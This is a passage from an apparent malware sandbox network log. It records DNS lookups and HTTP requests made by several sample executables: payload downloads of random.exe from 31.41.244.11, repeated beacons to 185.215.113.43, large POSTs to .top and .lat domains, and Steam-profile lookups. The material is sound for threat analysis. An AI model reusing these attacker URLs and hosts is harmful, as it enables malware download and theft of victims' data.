                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nGLu3cBZ9IUZO8aCPd7YXCeMCZZVb8pdRrDmUlVzPT4eCHQITqZChj7hMDLFQdpl0KQ5%2FJfZvS5Zb8CM3pIiBMQ%2F2yyvx3GqXKQu17AZ%2BcOdTMv8P%2FvdSAFj4OirkjXw2ok%3D"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e3fbb3be59535-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=27809&min_rtt=26445&rtt_var=7786&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2852&recv_bytes=583&delivery_rate=124123&cwnd=253&unsent_bytes=0&cid=4a704bd054261075&ts=241&x=0"
                      • flag-us
                        DNS
                        play.google.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        play.google.com
                        IN A
                        Response
                        play.google.com
                        IN A
                        216.58.214.174
                      • flag-fr
                        POST
                        https://play.google.com/log?hasfast=true&authuser=0&format=json
                        firefox.exe
                        Remote address:
                        216.58.214.174:443
                        Request
                        POST /log?hasfast=true&authuser=0&format=json HTTP/2.0
                        host: play.google.com
                        user-agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
                        accept: */*
                        accept-language: en-US,en;q=0.5
                        accept-encoding: gzip, deflate, br
                        referer: https://consent.youtube.com/
                        content-type: text/plain;charset=UTF-8
                        content-length: 738
                        origin: https://consent.youtube.com
                        sec-fetch-dest: empty
                        sec-fetch-mode: no-cors
                        sec-fetch-site: cross-site
                        te: trailers
                      • flag-us
                        DNS
                        play.google.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        play.google.com
                        IN A
                        Response
                        play.google.com
                        IN A
                        216.58.214.174
                      • flag-us
                        DNS
                        play.google.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        play.google.com
                        IN AAAA
                        Response
                        play.google.com
                        IN AAAA
                        2a00:1450:4007:80e::200e
                      • flag-gb
                        GET
                        https://steamcommunity.com/profiles/76561199724331900
                        8797d752f7.exe
                        Remote address:
                        2.22.99.85:443
                        Request
                        GET /profiles/76561199724331900 HTTP/1.1
                        Connection: Keep-Alive
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Host: steamcommunity.com
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx
                        Content-Type: text/html; charset=UTF-8
                        Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;
                        Expires: Mon, 26 Jul 1997 05:00:00 GMT
                        Cache-Control: no-cache
                        Date: Fri, 20 Dec 2024 08:26:44 GMT
                        Content-Length: 25984
                        Connection: keep-alive
                        Set-Cookie: sessionid=1cd00345c7f3cb176ec91022; Path=/; Secure; SameSite=None
                        Set-Cookie: steamCountry=GB%7C7d625a3b038bb98f68b4e14dac147806; Path=/; Secure; HttpOnly; SameSite=None
                      • flag-us
                        DNS
                        httpbin.org
                        53c67451a6.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        httpbin.org
                        IN A
                        Response
                        httpbin.org
                        IN A
                        34.226.108.155
                        httpbin.org
                        IN A
                        98.85.100.80
                      • flag-us
                        DNS
                        httpbin.org
                        53c67451a6.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        httpbin.org
                        IN AAAA
                        Response
                      • flag-us
                        DNS
                        home.twentytk20pn.top
                        53c67451a6.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        home.twentytk20pn.top
                        IN A
                        Response
                        home.twentytk20pn.top
                        IN A
                        147.45.113.159
                      • flag-us
                        DNS
                        home.twentytk20pn.top
                        53c67451a6.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        home.twentytk20pn.top
                        IN AAAA
                        Response
                      • flag-ru
                        POST
                        http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322
                        53c67451a6.exe
                        Remote address:
                        147.45.113.159:80
                        Request
                        POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1
                        Host: home.twentytk20pn.top
                        Accept: */*
                        Content-Type: application/json
                        Content-Length: 421867
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx/1.22.1
                        Date: Fri, 20 Dec 2024 08:27:03 GMT
                        Content-Type: text/html; charset=utf-8
                        Content-Length: 1
                        Connection: close
                      • flag-us
                        DNS
                        lossekniyyt.click
                        63c55cb05c.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        lossekniyyt.click
                        IN A
                        Response
                        lossekniyyt.click
                        IN A
                        104.21.12.88
                        lossekniyyt.click
                        IN A
                        172.67.131.246
                      • flag-us
                        POST
                        https://lossekniyyt.click/api
                        63c55cb05c.exe
                        Remote address:
                        104.21.12.88:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: lossekniyyt.click
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:54 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=u9fk4p9ptdi8jn6mhrkgoiugm0; expires=Tue, 15 Apr 2025 02:13:33 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0qWZ2zWgWEUy3al%2BKayxwwZwx6YANsNKbA5g%2BYCEBuwKpU5ukDJClFf%2FbYDjGkYMXhisfBDSAaHJz0SceG%2F7iuWxJpC39%2FzJ6i0%2FQ5jv9D1EQTA1Xzuak0az8wNZwh1dvGXtCA%3D%3D"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e4008faddf657-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=29684&min_rtt=26274&rtt_var=14187&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2859&recv_bytes=585&delivery_rate=152832&cwnd=253&unsent_bytes=0&cid=41c4db11d77e31a7&ts=268&x=0"
                      • flag-us
                        POST
                        https://discokeyus.lat/api
                        63c55cb05c.exe
                        Remote address:
                        172.67.197.170:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: discokeyus.lat
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:56 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=1u42nm5s810qfknjvfd7blrhns; expires=Tue, 15 Apr 2025 02:13:35 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aJkRHLsy9RInnzv0I1Tbk7Dabm%2BQgJSPCQUxnsf%2BdfgAVnllx8P9Fj6K0rT%2BkU57mOflRGqjV%2BEt8NolIjPe5Hrvh1gtNXFSc5J4dtHfhIdDgBRSqNiaEEtsvEay9CZ%2FKg%3D%3D"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e40190b2a732a-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=27234&min_rtt=26320&rtt_var=9204&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=582&delivery_rate=152050&cwnd=253&unsent_bytes=0&cid=6704c8b4b89d1e64&ts=189&x=0"
                      • flag-us
                        POST
                        https://necklacebudi.lat/api
                        63c55cb05c.exe
                        Remote address:
                        172.67.215.121:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: necklacebudi.lat
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:57 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=ipcgs381k5d7jkdgb1mtskin5f; expires=Tue, 15 Apr 2025 02:13:36 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qwt0l2iwjBAzhGLXPAXZ3w8w6SY%2B6IaI6ndlgRSDKLMKd7thEAGcdQQ9O8ImQhPoVl%2BMfAf6Gq8G%2BQJgZNolEyRso0NSAM8Y4VGQ75dZDQIQ%2ByncU5WqZxn85D25UJ4zhE1H"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e401a9a9bcd7a-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=27107&min_rtt=26344&rtt_var=8933&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2856&recv_bytes=584&delivery_rate=154222&cwnd=253&unsent_bytes=0&cid=df9410ac9f65e8de&ts=230&x=0"
                      • flag-us
                        POST
                        https://energyaffai.lat/api
                        63c55cb05c.exe
                        Remote address:
                        104.21.112.1:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: energyaffai.lat
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:57 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=e5bqnrando6mep11bevru7l06f; expires=Tue, 15 Apr 2025 02:13:36 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xzCsnOkmONghDug69f4OEfWEN3dbHYr4Z6dzETn%2BSxCJJRYOulUIj%2Fcwlaf5SddAlZRfmJnWnyzieyswZshIMWNXJP%2Bqnl6W%2BKUULDxBuYkD12t5OxbrtsWaeKno4NhD9Q0%3D"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e401c5fbd9485-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=27876&min_rtt=26725&rtt_var=7632&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2854&recv_bytes=583&delivery_rate=131577&cwnd=253&unsent_bytes=0&cid=50a541b9964c096d&ts=230&x=0"
                      • flag-us
                        POST
                        https://aspecteirs.lat/api
                        63c55cb05c.exe
                        Remote address:
                        104.21.66.85:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: aspecteirs.lat
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:57 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=a1dkil6hiln2pum191b0nm3e8o; expires=Tue, 15 Apr 2025 02:13:36 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3j%2Fe4Q5At%2BgJW3540OV3PdhIHD1QybDa6I%2BXzC5BkqBAW5wj5hncSx%2BgaeyFpK09IEsIoWLJGw4WyHS%2B2nQhBcHy81sadvRJox1Hp%2BWA0HxcqE0RmKekSb8EUcErWlhS2Q%3D%3D"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e401e28309400-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=27367&min_rtt=26282&rtt_var=7439&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=582&delivery_rate=132700&cwnd=253&unsent_bytes=0&cid=565d44e858ab9732&ts=249&x=0"
                      • flag-us
                        POST
                        https://sustainskelet.lat/api
                        63c55cb05c.exe
                        Remote address:
                        104.21.16.1:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: sustainskelet.lat
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:58 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=1herlre807n1r6c7la8gicara0; expires=Tue, 15 Apr 2025 02:13:37 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LSQZhEJtLrt0fqH0UYg4dddIts7aeKbn1uVVHX%2Fam5o5tdw2YOHJSC53fDrEjxAFbB80RBTABf21CJejW5LtEl4mkt5pj8HbMw7xxuFrDqiGc20TMWsMJsfCUQr6EM8GfhUelQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e40200e8293db-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=28307&min_rtt=26545&rtt_var=9091&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2860&recv_bytes=585&delivery_rate=153362&cwnd=252&unsent_bytes=0&cid=0dc4eca405c2a82c&ts=205&x=0"
                      • flag-us
                        POST
                        https://crosshuaht.lat/api
                        63c55cb05c.exe
                        Remote address:
                        104.21.52.127:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: crosshuaht.lat
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:58 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=4jarhp74n796qeo9m8mm3tg8qr; expires=Tue, 15 Apr 2025 02:13:37 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aV8Y1Nt3Fu6Qmg9rvl5VS6VLlJjnG%2Fo9hTtKWB37Ot1p02AhG7oQTf0wEAfbNy7iwMqawUJzcAj0ZeKxrs2wfaR9UJCRfahYaAKUIkoKgYA5Mk2qqJ%2F90wtaSIyzRK9lbw%3D%3D"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e4021b988cd35-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=27387&min_rtt=26701&rtt_var=8788&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2851&recv_bytes=582&delivery_rate=152466&cwnd=253&unsent_bytes=0&cid=f49c4c415084d6e3&ts=248&x=0"
                      • flag-gb
                        GET
                        https://steamcommunity.com/profiles/76561199724331900
                        63c55cb05c.exe
                        Remote address:
                        2.22.99.85:443
                        Request
                        GET /profiles/76561199724331900 HTTP/1.1
                        Connection: Keep-Alive
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Host: steamcommunity.com
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx
                        Content-Type: text/html; charset=UTF-8
                        Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;
                        Expires: Mon, 26 Jul 1997 05:00:00 GMT
                        Cache-Control: no-cache
                        Date: Fri, 20 Dec 2024 08:27:00 GMT
                        Content-Length: 25984
                        Connection: keep-alive
                        Set-Cookie: sessionid=9fc44cad40e24fa212b4d2a7; Path=/; Secure; SameSite=None
                        Set-Cookie: steamCountry=GB%7C7d625a3b038bb98f68b4e14dac147806; Path=/; Secure; HttpOnly; SameSite=None
                      • flag-us
                        DNS
                        home.twentytk20pn.top
                        53c67451a6.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        home.twentytk20pn.top
                        IN A
                        Response
                        home.twentytk20pn.top
                        IN A
                        147.45.113.159
                      • flag-us
                        DNS
                        home.twentytk20pn.top
                        53c67451a6.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        home.twentytk20pn.top
                        IN AAAA
                        Response
                      • flag-ru
                        GET
                        http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322?argument=0
                        53c67451a6.exe
                        Remote address:
                        147.45.113.159:80
                        Request
                        GET /WEIsmPfDcpBFJozngnYN1734366322?argument=0 HTTP/1.1
                        Host: home.twentytk20pn.top
                        Accept: */*
                        Response
                        HTTP/1.1 404 NOT FOUND
                        Server: nginx/1.22.1
                        Date: Fri, 20 Dec 2024 08:27:03 GMT
                        Content-Type: text/html; charset=utf-8
                        Content-Length: 207
                        Connection: close
                      • flag-us
                        DNS
                        home.twentytk20pn.top
                        53c67451a6.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        home.twentytk20pn.top
                        IN A
                        Response
                      • flag-us
                        DNS
                        home.twentytk20pn.top
                        53c67451a6.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        home.twentytk20pn.top
                        IN AAAA
                        Response
                        home.twentytk20pn.top
                        IN A
                        147.45.113.159
                      • flag-ru
                        POST
                        http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322
                        53c67451a6.exe
                        Remote address:
                        147.45.113.159:80
                        Request
                        POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1
                        Host: home.twentytk20pn.top
                        Accept: */*
                        Content-Type: application/json
                        Content-Length: 31
                        Response
                        HTTP/1.1 404 NOT FOUND
                        Server: nginx/1.22.1
                        Date: Fri, 20 Dec 2024 08:27:04 GMT
                        Content-Type: text/html; charset=utf-8
                        Content-Length: 207
                        Connection: close
                      • flag-us
                        DNS
                        consent.youtube.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        consent.youtube.com
                        IN A
                        Response
                        consent.youtube.com
                        IN A
                        142.250.179.110
                      • flag-us
                        DNS
                        consent.youtube.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        consent.youtube.com
                        IN A
                        Response
                        consent.youtube.com
                        IN A
                        142.250.179.110
                      • flag-us
                        DNS
                        consent.youtube.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        consent.youtube.com
                        IN A
                        Response
                        consent.youtube.com
                        IN A
                        142.250.179.110
                      • flag-us
                        DNS
                        consent.youtube.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        consent.youtube.com
                        IN A
                        Response
                        consent.youtube.com
                        IN A
                        142.250.179.110
                      • 185.215.113.43:80
                        http://185.215.113.43/Zu7JuNko/index.php
                        http
                        skotes.exe
                        5.8kB
                        7.4kB
                        46
                        34

                        HTTP Request

                        POST http://185.215.113.43/Zu7JuNko/index.php

                        HTTP Response

                        200

                        HTTP Request

                        POST http://185.215.113.43/Zu7JuNko/index.php

                        HTTP Response

                        200

                        HTTP Request

                        POST http://185.215.113.43/Zu7JuNko/index.php

                        HTTP Response

                        200

                        HTTP Request

                        POST http://185.215.113.43/Zu7JuNko/index.php

                        HTTP Response

                        200

                        HTTP Request

                        POST http://185.215.113.43/Zu7JuNko/index.php

                        HTTP Response

                        200

                        HTTP Request

                        POST http://185.215.113.43/Zu7JuNko/index.php

                        HTTP Response

                        200

                        HTTP Request

                        POST http://185.215.113.43/Zu7JuNko/index.php

                        HTTP Response

                        200

                        HTTP Request

                        POST http://185.215.113.43/Zu7JuNko/index.php

                        HTTP Response

                        200

                        HTTP Request

                        POST http://185.215.113.43/Zu7JuNko/index.php

                        HTTP Response

                        200

                        HTTP Request

                        POST http://185.215.113.43/Zu7JuNko/index.php

                        HTTP Response

                        200

                        HTTP Request

                        POST http://185.215.113.43/Zu7JuNko/index.php

                        HTTP Response

                        200

                        HTTP Request

                        POST http://185.215.113.43/Zu7JuNko/index.php

                        HTTP Response

                        200

                        HTTP Request

                        POST http://185.215.113.43/Zu7JuNko/index.php

                        HTTP Response

                        200

                        HTTP Request

                        POST http://185.215.113.43/Zu7JuNko/index.php

                        HTTP Response

                        200

                        HTTP Request

                        POST http://185.215.113.43/Zu7JuNko/index.php

                        HTTP Response

                        200

                        HTTP Request

                        POST http://185.215.113.43/Zu7JuNko/index.php

                        HTTP Response

                        200

                        HTTP Request

                        POST http://185.215.113.43/Zu7JuNko/index.php

                        HTTP Response

                        200

                        HTTP Request

                        POST http://185.215.113.43/Zu7JuNko/index.php

                        HTTP Response

                        200

                        HTTP Request

                        POST http://185.215.113.43/Zu7JuNko/index.php

                        HTTP Response

                        200

                        HTTP Request

                        POST http://185.215.113.43/Zu7JuNko/index.php

                        HTTP Response

                        200
                      • 31.41.244.11:80
                        http://31.41.244.11/files/unique1/random.exe
                        http
                        skotes.exe
                        419.0kB
                        29.8MB
                        8947
                        31353

                        HTTP Request

                        GET http://31.41.244.11/files/wicked/random.exe

                        HTTP Response

                        200

                        HTTP Request

                        GET http://31.41.244.11/files/martin/random.exe

                        HTTP Response

                        200

                        HTTP Request

                        GET http://31.41.244.11/files/bckosq/random.exe

                        HTTP Response

                        200

                        HTTP Request

                        GET http://31.41.244.11/files/loadman/random.exe

                        HTTP Response

                        200

                        HTTP Request

                        GET http://31.41.244.11/files/karl/random.exe

                        HTTP Response

                        200

                        HTTP Request

                        GET http://31.41.244.11/files/unique2/random.exe

                        HTTP Response

                        200

                        HTTP Request

                        GET http://31.41.244.11/files/burpin1/random.exe

                        HTTP Response

                        200

                        HTTP Request

                        GET http://31.41.244.11/files/geopoxid/random.exe

                        HTTP Response

                        200

                        HTTP Request

                        GET http://31.41.244.11/files/x3team/random.exe

                        HTTP Response

                        200

                        HTTP Request

                        GET http://31.41.244.11/files/unique3/random.exe

                        HTTP Response

                        200

                        HTTP Request

                        GET http://31.41.244.11/files/lolz/random.exe

                        HTTP Response

                        200

                        HTTP Request

                        GET http://31.41.244.11/files/fate/random.exe

                        HTTP Response

                        200

                        HTTP Request

                        GET http://31.41.244.11/files/london/random.exe

                        HTTP Response

                        200

                        HTTP Request

                        GET http://31.41.244.11/files/unique1/random.exe

                        HTTP Response

                        200
                      • 98.85.100.80:443
                        httpbin.org
                        tls
                        1b12d9265c.exe
                        1.6kB
                        6.5kB
                        15
                        16
                      • 178.62.201.34:443
                        immureprech.biz
                        tls
                        b5a0016111.exe
                        349 B
                        219 B
                        5
                        5
                      • 178.62.201.34:443
                        immureprech.biz
                        tls
                        b5a0016111.exe
                        288 B
                        219 B
                        5
                        5
                      • 104.131.68.180:443
                        deafeninggeh.biz
                        tls
                        b5a0016111.exe
                        350 B
                        179 B
                        5
                        4
                      • 104.131.68.180:443
                        deafeninggeh.biz
                        tls
                        b5a0016111.exe
                        288 B
                        179 B
                        5
                        4
                      • 185.121.15.192:80
                        http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851
                        http
                        1b12d9265c.exe
                        386.3kB
                        10.3kB
                        283
                        231

                        HTTP Request

                        POST http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851

                        HTTP Response

                        200
                      • 2.22.99.85:443
                        https://steamcommunity.com/profiles/76561199724331900
                        tls, http
                        b5a0016111.exe
                        1.6kB
                        43.9kB
                        23
                        39

                        HTTP Request

                        GET https://steamcommunity.com/profiles/76561199724331900
